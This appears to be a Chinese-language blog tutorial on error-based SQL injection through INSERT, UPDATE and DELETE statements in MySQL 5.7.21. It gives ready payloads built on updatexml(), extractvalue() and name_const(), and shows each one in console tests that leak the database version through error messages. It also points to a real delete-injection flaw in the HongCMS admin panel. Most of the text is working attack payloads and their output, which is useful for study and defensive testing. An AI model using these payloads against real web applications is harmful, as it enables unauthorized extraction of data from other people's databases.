我們常見的注入都是select的查詢注入比較多,但是SQL注入在參數沒有檢查和過濾的時候就會把惡意的數據插入數據庫,從而造成SQL注入。
所有說除了查詢之外,所有和數據庫進行交互的請求都有可能造成注入。如:插入數據,更改數據,刪除數據等,所以現在根據網上的技巧彙總一下insert、update和delete的注入方法。
以下均爲報錯注入,測試數據庫版本5.7.21
利用內置函數updatexml、extractvalue或name_const
測試表如下:
一、使用updatexml()函數
UPDATEXML (XML_document, XPath_string, new_value);
第一個參數:XML_document是String格式,爲XML文檔對象的名稱,文中爲Doc
第二個參數:XPath_string (Xpath格式的字符串) ,如果不瞭解Xpath語法,可以在網上查找教程。
第三個參數:new_value,String格式,替換查找到的符合條件的數據
作用:改變文檔中符合條件的節點的值
改變XML_document中符合XPATH_string的值
而我們的注入語句爲:
updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
其中的concat()函數是將其連成一個字符串,因此不會符合XPATH_string的格式,從而出現格式錯誤,爆出
ERROR 1105 (HY000): XPATH syntax error: ':root@localhost'
payload:
or updatexml(1,concat(0x7e,(version())),0) or
測試 insert注入:
mysql> insert into info(name,age) values('wangwu'or updatexml(1,concat(0x7e,(version())),0) or'','22');
ERROR 1105 (HY000): XPATH syntax error: '~5.7.21'
測試update注入
mysql> update info set name='test'or updatexml(2,concat(0x7e,(version())),0) or'' where id =1;
ERROR 1105 (HY000): XPATH syntax error: '~5.7.21'
mysql> update info set name='test' where id =1 or updatexml(2,concat(0x7e,(version())),0);
ERROR 1105 (HY000): XPATH syntax error: '~5.7.21'
測試delete注入
mysql> delete from info where id=1 or updatexml(2,concat(0x7e,(version())),0);
ERROR 1105 (HY000): XPATH syntax error: '~5.7.21'
二、extractvalue()函數
extractvalue() :對XML文檔進行查詢的函數
其實就是相當於我們熟悉的HTML文件中用 <div><p><a>標籤查找元素一樣
語法:extractvalue(目標xml文檔,xml路徑)
第二個參數 xml中的位置是可操作的地方,xml文檔中查找字符位置是用 /xxx/xxx/xxx/…這種格式,如果我們寫入其他格式,就會報錯,並且會返回我們寫入的非法格式內容,而這個非法的內容就是我們想要查詢的內容。
正常查詢 第二個參數的位置格式 爲 /xxx/xx/xx/xx ,即使查詢不到也不會報錯
payload:
or extractvalue(1,concat(0x7e,database())) or
測試insert注入
mysql> insert into info(name,age) values('wangwu'or extractvalue(1,concat(0x7e,version())) or'','22');
ERROR 1105 (HY000): XPATH syntax error: '~5.7.21'
測試update注入:
mysql> update info set name='test' or extractvalue(1,concat(0x7e,version())) or'' where id =1;
ERROR 1105 (HY000): XPATH syntax error: '~5.7.21'
mysql> update info set name='test' where id =1 or extractvalue(1,concat(0x7e,version()));
ERROR 1105 (HY000): XPATH syntax error: '~5.7.21'
測試delete注入
mysql> delete from info where id=1 or extractvalue(1,concat(0x7e,version()));
ERROR 1105 (HY000): XPATH syntax error: '~5.7.21'
三、name_const()函數
name_const(name,value)
返回給定值。 當用來產生一個結果集合列時, name_const()促使該列使用給定名稱。
payload
or (SELECT*FROM(SELECT(name_const(version(),1)),name_const(version(),1))a) or
測試insert注入
mysql> insert into info(name,age) values('wangwu' or (SELECT*FROM(SELECT(name_const(version(),1)),name_const(version(),1))a) or'','22');
ERROR 1060 (42S21): Duplicate column name '5.7.21'
測試update注入
mysql> update info set name='test'or (SELECT*FROM(SELECT(name_const(version(),1)),name_const(version(),1))a) or'' where id =1;
ERROR 1060 (42S21): Duplicate column name '5.7.21'
mysql> update info set name='test' where id =1 or (SELECT*FROM(SELECT(name_const(version(),1)),name_const(version(),1))a);
ERROR 1060 (42S21): Duplicate column name '5.7.21'
測試delete注入
mysql> delete from info where id=1 or (SELECT*FROM(SELECT(name_const(version(),1)),name_const(version(),1))a);
ERROR 1060 (42S21): Duplicate column name '5.7.21'
參考鏈接:https://www.cnblogs.com/r00tgrok/p/3854754.html
實戰測試:
HongCMS後臺在清除表格的時候存在sql注入,即delete注入
詳情連接:https://www.freebuf.com/vuls/178316.html
使用updatexml payload
使用extractvalue
使用name_const